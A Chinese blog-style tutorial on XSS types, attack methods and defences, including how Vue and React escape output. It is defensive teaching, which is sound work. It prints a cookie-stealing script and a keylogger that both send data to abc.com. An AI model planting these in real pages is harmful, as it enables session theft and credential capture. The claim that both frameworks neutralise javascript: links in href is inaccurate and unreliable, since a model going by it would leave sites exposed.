最常见的XSS攻击,是在个人用户名中加入一串js代码,这样当页面加载这个用户名的时候,就会执行这串恶意脚本( 存储型 XSS)
比如
<script>
fetch('http://abc.com/steal?cookie=' + document.cookie); //当然现在最好存储在only
</script>
下面介绍XSS的常见攻击方式类型 ,攻击方法,以及如何防范,以及现代前端框架的处理方式
XSS攻击手段
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的网络攻击方式,攻击者通过在网页中注入恶意脚本,诱导用户在其浏览器中执行这些脚本,从而窃取用户数据、会话令牌,或执行恶意操作。
SS 根据攻击场景和触发方式,主要可以分为以下几种类型:
1. 反射型 XSS(Reflected XSS)
反射型 XSS 是最常见的 XSS 攻击之一。攻击者通过构造包含恶意脚本的 URL,当受害者访问该链接时,恶意脚本会立即被执行。通常这种攻击是通过 HTTP 请求参数(如查询字符串、表单提交等)来注入的,恶意代码反射回浏览器进行执行。
特点:
- 不会持久存储在服务器上。
- 需要诱导用户点击特定的链接才能触发。
- 受害者一旦访问恶意链接,恶意脚本立即在其浏览器中执行。
示例:
攻击者构造这样一个 URL:
http://baidu.com/search?q=<script>alert('XSS')</script>
如果页面在搜索结果中直接输出 q
参数的值,恶意脚本就会在受害者的浏览器中执行。
防御方法:
- 对用户输入进行严格过滤和验证,防止注入恶意代码。
- 对输出内容进行编码,防止执行恶意脚本(如 HTML 实体编码)。
2. 存储型 XSS(Stored XSS)
存储型 XSS(又称持久型 XSS)是攻击者将恶意脚本注入到服务器存储的内容中,通常是数据库、消息板、评论系统等。当其他用户访问这段存储的数据时,恶意脚本会在受害者的浏览器中执行。
特点:
- 恶意脚本存储在服务器或数据库中,所有访问受害页面的用户都会受到攻击。
- 不需要用户点击特定链接即可触发攻击,只要访问相关页面即可。
- 攻击影响范围广,危害更大。
示例:
攻击者在留言板、评论系统等输入框中注入恶意代码:
<script>alert('XSS')</script>
这段脚本被存储在服务器的数据库中,所有访问这个页面的用户都会执行这段脚本。
防御方法:
- 对所有输入进行严格过滤和验证,特别是存储在数据库中的内容。
- 对输出内容进行 HTML 实体编码,防止脚本执行。
- 使用安全的 JavaScript 框架,并避免动态生成 HTML 内容。
3. 基于 DOM 的 XSS(DOM-Based XSS)
DOM 型 XSS 是一种不同于传统反射型和存储型的 XSS 攻击类型,它不会通过服务器传递,而是直接通过修改页面的 DOM 树来注入恶意脚本。攻击者利用 JavaScript 操作 DOM 时,向页面插入恶意代码,从而在客户端执行。
特点:
- 攻击完全发生在客户端(浏览器),不涉及服务器。
- 通常通过操纵浏览器的 DOM 元素来插入和执行恶意代码。
- 攻击者可以通过修改 URL 或页面的 JavaScript 代码来引发攻击。
示例:
假设页面中有如下代码:
var userInput = location.hash.substring(1);
document.body.innerHTML = userInput;
攻击者构造的 URL 为:
http://example.com/#<script>alert('XSS')</script>
当用户访问该页面时,location.hash
中的恶意脚本会被插入到 DOM 中并执行。
防御方法:
- 避免直接将用户输入插入到 DOM 中,尽量使用安全的 DOM 操作方法。
- 对动态生成的内容进行 HTML 实体编码或严格校验。
- 使用
innerText
或textContent
替代innerHTML
,以避免插入恶意 HTML 代码。
4. 混合型 XSS
混合型 XSS 是指在同一个攻击中结合了多种 XSS 类型。例如,攻击者可以通过反射型 XSS 向服务器发送一个存储型 XSS 攻击请求,从而将恶意脚本存储在服务器上。
XSS 防御方法总结:
-
输入验证:对所有用户输入进行严格的验证和过滤,防止恶意代码注入。可以使用白名单方式,确保只允许符合预期格式的输入。
-
输出编码:
- 对输出内容进行 HTML 实体编码,防止特殊字符被解释为 HTML 或 JavaScript 代码。
- 使用库或框架(如 Vue.js、React 等)自带的安全机制进行安全的 DOM 操作。
-
内容安全策略(CSP) :通过设置 CSP 响应头,可以限制浏览器加载和执行的资源类型,从而减少 XSS 的攻击面。
-
使用安全的 JavaScript 框架:现代 JavaScript 框架(如 Vue.js、React)默认会对用户输入进行编码,防止 XSS 攻击。
-
避免直接操作 DOM:尽量使用框架的绑定机制而不是手动拼接 HTML,防止动态操作时插入恶意代码。
-
逃逸(Escaping)用户输入:在任何用户提供的数据直接用于 HTML、JavaScript、URL、CSS 时,确保对用户输入进行恰当的转义处理。
总结
XSS 攻击主要分为三大类:
- 反射型 XSS:通过构造特定 URL,在用户点击链接后立即执行恶意脚本。
- 存储型 XSS:攻击者将恶意脚本存储在服务器中,其他用户访问时触发。
- DOM 型 XSS:通过操作客户端的 DOM 树直接注入并执行恶意脚本。
这些攻击的防御策略包括输入验证、输出编码、内容安全策略等。为了避免 XSS,开发者需要格外关注用户输入的安全性,并采取相应的防护措施。
XSS攻击方法
XSS(跨站脚本攻击)有多种攻击方法,攻击者通过注入恶意代码让用户在访问受攻击的网站时执行这些代码,从而实现各种恶意操作。以下是常见的几种 XSS 攻击方法及其可能的危害:
// 2. 键盘记录器(Keylogger)
// 监听用户的键盘输入,并将每次按键记录发送到攻击者的服务器。
<script>
document.addEventListener('keypress', function(e) {
fetch('http://abc.com/keystrokes?key=' + e.key);
});
</script>
总结
XSS 攻击可以通过以下多种方式实施:
- 窃取 Cookie 或会话信息,获取用户敏感信息,劫持用户会话。
- 键盘记录器,窃取用户输入的敏感数据(如密码)。
- 伪造表单,窃取用户凭据。
- 劫持用户浏览器,执行未授权的操作。
- 重定向到恶意网站,进一步攻击用户。
- 篡改页面内容,展示虚假信息或误导用户。
- 诱导下载恶意文件,感染用户设备。
- 点击劫持,隐蔽地诱导用户执行恶意操作。
防止这些攻击的关键在于对用户输入进行严格的过滤和转义,以及使用安全的开发实践。内容安全策略(CSP)和其他现代防护机制也可以减少攻击的风险。
防范XSS攻击
为了防范 XSS 攻击,开发者需要确保用户提交的输入仅作为纯文本显示,而不会被浏览器解析为 HTML 或 JavaScript 代码。这通常通过对用户输入进行转义或过滤来实现,使得恶意脚本不能执行。
防范 XSS 攻击的通用方法:
以下是几种防范 XSS 的通用方法,适用于登录页面和其他涉及用户输入的页面:
1. 输入验证和清理
所有用户输入的数据都需要经过严格的验证和清理(Sanitization)。包括用户名、密码等字段,都应被限制为预期的格式。可以通过以下方式进行防范:
- 对表单输入进行验证:限制输入的字符种类。对于用户名、邮箱等字段,可以使用正则表达式来限定只允许字母、数字等特定字符。绝对不允许直接插入任何形式的 HTML、JavaScript 代码。
- 避免允许特殊字符的直接传递:过滤掉或转义像
<
,>
,&
,"
,'
等可能用于脚本攻击的特殊字符。
示例:
function validateInput(input) {
const regex = /^[a-zA-Z0-9]+$/; // 限制只能是字母和数字
return regex.test(input);
}
let username = document.getElementById("username").value;
if (!validateInput(username)) {
alert("Invalid username!");
}
2. 输出编码(Output Encoding)
在处理和显示用户输入的数据时,必须对输出进行编码,以防止恶意代码执行。HTML 实体编码将使得用户输入的特殊字符不会被解析为 HTML 或 JavaScript。
- HTML 实体编码:对于用户输入插入 HTML 页面时,转义可能执行的 HTML 标签。例如,将
<
转换为<
,>
转换为>
。 - JavaScript 转义:如果需要将用户输入插入到 JavaScript 代码中,必须进行 JavaScript 特定的转义,避免恶意输入被执行。
示例:
function escapeHTML(input) {
const div = document.createElement('div');
div.textContent = input; // 将用户输入作为文本处理
return div.innerHTML; // 返回转义后的内容
}
let safeUsername = escapeHTML(document.getElementById("username").value);
document.getElementById('output').innerHTML = safeUsername;
3. 使用 HTTP 头的 Content Security Policy(CSP)
CSP(内容安全策略) 是一种有效防范 XSS 的机制。通过配置 CSP,您可以控制页面可以加载的资源(脚本、样式等)来源,阻止恶意脚本执行。
- 禁止内联脚本:通过 CSP 禁止在 HTML 中使用内联 JavaScript,如
<script>
标签、onclick
事件处理器等。 - 限制加载外部资源:只允许页面加载来自可信任域名的资源,禁止加载未授权的脚本或资源。
在服务器端配置 HTTP 响应头,添加 CSP:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';
解释:
default-src 'self'
: 只允许加载同源的资源(同一域名下的资源)。script-src 'self'
: 只允许加载来自同源的脚本,不允许外部脚本。object-src 'none'
: 禁止加载任何<object>
标签的资源。frame-ancestors 'none'
: 禁止页面被嵌入到<iframe>
中,防止点击劫持。
4. 避免使用 innerHTML
和 outerHTML
插入内容
避免直接使用 innerHTML
、outerHTML
这样的方法,将用户输入的内容插入到 DOM 中。这样可能会导致攻击者通过注入脚本来进行 XSS 攻击。使用 textContent
或 innerText
来确保数据以纯文本形式插入。
示例:
// 不要这样做
document.getElementById('output').innerHTML = userInput;
// 应该这样做
document.getElementById('output').textContent = userInput;
textContent
会将内容作为纯文本插入,不会解析其中的 HTML 标签或脚本。
5.HTTP-only 和 Secure Cookie 设置
为了防止通过 JavaScript 获取敏感的 Cookie 数据(例如会话 Cookie),在服务器端设置 Cookie 为 HTTP-only 和 Secure:
- HTTP-only:禁止客户端 JavaScript 访问 Cookie,这样即使 XSS 成功执行,攻击者也无法通过
document.cookie
获取 Cookie。 - Secure:确保 Cookie 只在 HTTPS 连接中传输,防止 Cookie 被窃取。
示例(设置 Cookie):
Set-Cookie: sessionid=abc123; HttpOnly; Secure;
6. 登录页面的防范方案总结
具体到登录页面,我们可以总结出如下防范措施:
- 输入验证:对用户名、邮箱等输入进行严格验证,限制输入的字符集。
- 输出转义:将所有用户输入的内容经过 HTML 实体编码后再输出到页面。
- 使用 CSP:通过内容安全策略阻止内联脚本和外部不受信任的脚本的加载与执行。
- 避免
innerHTML
插入用户内容:不要将未经处理的用户输入直接插入 HTML,使用textContent
或其他安全方法。 - 设置 Cookie 的 HTTP-only 和 Secure:保护会话 Cookie 不被 JavaScript 访问和通过非安全连接传输。
通过实施这些防范措施,能够极大程度地降低登录页面遭受 XSS 攻击的风险,确保用户输入的敏感信息得到保护。
关键点总结:
-
HTML 实体转义:用户输入的任何内容必须经过转义,防止
<
,>
,&
,"
等特殊字符被解释为 HTML 或 JavaScript。例如,<script>
被转义为<script>
,这样它只会作为纯文本显示。- 可以使用如上面的
escapeHTML
函数,确保用户输入的任何 HTML 标签都被转义成纯文本。
- 可以使用如上面的
-
内容安全策略(CSP, Content Security Policy) :通过设置内容安全策略,限制页面加载的资源来源,避免未授权的脚本执行。例如:
- 禁止内联脚本的执行:
Content-Security-Policy: script-src 'self'
- 禁止页面嵌入到 iframe:
Content-Security-Policy: frame-ancestors 'none'
- 禁止内联脚本的执行:
-
避免直接插入用户输入到 DOM:尽量避免使用
innerHTML
或outerHTML
插入用户输入,应该通过textContent
或innerText
来确保输入作为纯文本。 -
严格验证用户输入:针对 URL、文件下载等特别敏感的输入项,应该严格验证并限制输入的格式。对于 URL,只允许可信任的域名。
现代前端框架怎么防范XSS攻击
Vue 和 React 都是现代前端框架,它们在设计时对安全性做了很多考虑,尤其在防范 XSS(跨站脚本攻击)方面。二者在处理用户输入、动态渲染和 DOM 操作时,内置了一些安全机制,以防止恶意脚本的执行。以下是它们在 XSS 防范中的具体措施。
Vue 在 XSS 防范中的措施
Vue 通过模板和指令渲染数据,并在数据插入 DOM 时对潜在的 XSS 攻击做了很多防护。以下是 Vue 防范 XSS 攻击的主要方式:
-
自动 HTML 转义
- Vue 默认会对插值表达式(即
{{ }}
)中的内容进行 HTML 转义。这意味着,如果用户输入包含像<script>
这样的标签,Vue 会将它转义为文本,防止脚本执行。
示例:
<div>{{ userInput }}</div>
假设
userInput
是"<script>alert('XSS')</script>"
,Vue 会自动将其转义为:<div><script>alert('XSS')</script></div>
因此,这段输入只会显示为文本,浏览器不会执行
<script>
标签中的代码。 - Vue 默认会对插值表达式(即
-
使用
v-html
指令时的 XSS 风险- Vue 提供了
v-html
指令用于插入未经处理的 HTML,虽然这对某些场景很有用,但它带来了 XSS 风险。开发者需要确保插入的 HTML 是安全的,避免直接将用户输入通过v-html
插入 DOM。
危险示例:
<div v-html="userHtmlInput"></div>
如果
userHtmlInput
包含<script>
标签,这些脚本将会被执行。因此,Vue 的官方建议是,尽量避免使用v-html
渲染用户输入的内容,除非内容已经过严格的消毒和验证。 - Vue 提供了
-
在指令和绑定中转义
- Vue 在指令(如
v-bind
)或属性绑定中也会自动对动态数据进行转义。例如,v-bind
绑定到href
、src
等属性时,会防止恶意代码插入。
示例:
<a v-bind:href="userLink"></a>
如果
userLink
包含恶意的 JavaScript URL(如javascript:alert('XSS')
),Vue 将不会执行它,而是安全地处理这些输入。 - Vue 在指令(如
React 在 XSS 防范中的措施
React 在设计时也内置了对 XSS 的防护措施,尤其是在 JSX 渲染和属性绑定方面。以下是 React 防范 XSS 攻击的主要方式:
-
自动转义 JSX
- React 默认会对插值表达式(即
{}
)中的所有数据进行转义,防止用户输入的恶意脚本在页面上执行。这类似于 Vue 的插值机制。
示例:
<div>{userInput}</div>
假设
userInput
是"<script>alert('XSS')</script>"
,React 会自动将其转义为:<div><script>alert('XSS')</script></div>
因此,这段输入只会以文本形式显示,不会执行
<script>
标签中的代码。 - React 默认会对插值表达式(即
-
危险的
dangerouslySetInnerHTML
- React 提供了
dangerouslySetInnerHTML
这个 API 来处理直接插入 HTML 的场景。正如名字所示,这是一个危险操作,因为它会绕过 React 的转义机制,因此开发者必须确保插入的 HTML 是安全的。
危险示例:
<div dangerouslySetInnerHTML={{ __html: userHtml }} />
如果
userHtml
包含恶意脚本(如<script>
),这些脚本会被直接插入 DOM 并执行。因此,React 强烈建议不要直接将用户输入用dangerouslySetInnerHTML
插入 DOM,除非它已经被消毒。 - React 提供了
-
属性转义
- React 会自动转义任何通过 JSX 绑定到属性的值,例如
src
、href
等,这可以防止攻击者通过属性注入恶意代码。
示例:
<a href={userLink}>Link</a>
如果
userLink
包含恶意代码(如javascript:alert('XSS')
),React 会将其转义,从而防止脚本执行。 - React 会自动转义任何通过 JSX 绑定到属性的值,例如
-
自定义事件处理器防护
- React 处理事件时不会将用户输入直接插入 DOM。因此,攻击者不能通过事件处理程序注入恶意 JavaScript。
Vue 和 React 在 XSS 防范中的共同点
-
自动转义用户输入
- Vue 和 React 默认都会对用户输入的动态内容进行 HTML 转义,从而有效防止 XSS 攻击。插值表达式在这两个框架中都是安全的,用户输入的
<script>
标签会被转义为文本,防止其执行。
- Vue 和 React 默认都会对用户输入的动态内容进行 HTML 转义,从而有效防止 XSS 攻击。插值表达式在这两个框架中都是安全的,用户输入的
-
处理 HTML 插入的高危 API
- 两个框架都提供了允许插入未经转义 HTML 的 API(Vue 的
v-html
和 React 的dangerouslySetInnerHTML
),但这些 API 是危险的,因为它们会直接将 HTML 注入到 DOM 中,开发者在使用时必须谨慎,确保插入的内容是安全的。
- 两个框架都提供了允许插入未经转义 HTML 的 API(Vue 的
-
属性绑定的转义
- 在属性绑定时(如
href
、src
等),Vue 和 React 都会自动对值进行处理,防止恶意脚本通过属性注入执行。
- 在属性绑定时(如
-
事件处理
- Vue 和 React 都不会直接将用户输入作为事件处理器的一部分执行。事件处理逻辑始终在 JavaScript 中,确保不会执行未经授权的脚本。
Vue 和 React 的 XSS 防范中的差异
-
API 命名:
- Vue 使用的是
v-html
来直接插入 HTML,而 React 则使用dangerouslySetInnerHTML
。React 使用了更具警示意义的命名,提醒开发者此 API 具有潜在的安全风险。
- Vue 使用的是
-
开发者社区和实践:
- 虽然两者在安全性设计上类似,但 React 社区更加强调使用
dangerouslySetInnerHTML
时的潜在风险,并在官方文档中多次提到不要滥用此功能。
- 虽然两者在安全性设计上类似,但 React 社区更加强调使用
总结:Vue 和 React 的 XSS 防范机制
- 自动转义插值表达式:Vue 和 React 都会自动对插值内容进行 HTML 转义,防止用户输入的恶意代码被执行。
- 危险 API 提示:两者都提供了允许插入未转义 HTML 的功能(Vue 的
v-html
和 React 的dangerouslySetInnerHTML
),但都提醒开发者在使用时要极其谨慎,避免将不可信内容插入 DOM。 - 属性转义:Vue 和 React 会对动态属性值进行转义,防止通过属性注入的 XSS 攻击。
Vue 和 React 都提供了内置的 XSS 防护机制,但开发者仍需要注意在使用高级 API(如 v-html
和 dangerouslySetInnerHTML
)时进行额外的安全措施,以确保不会将不安全的内容插入页面。
参考
安全 | Vue.js (vuejs.org)
v-html可能导致的问题 - Blog (touchczy.top)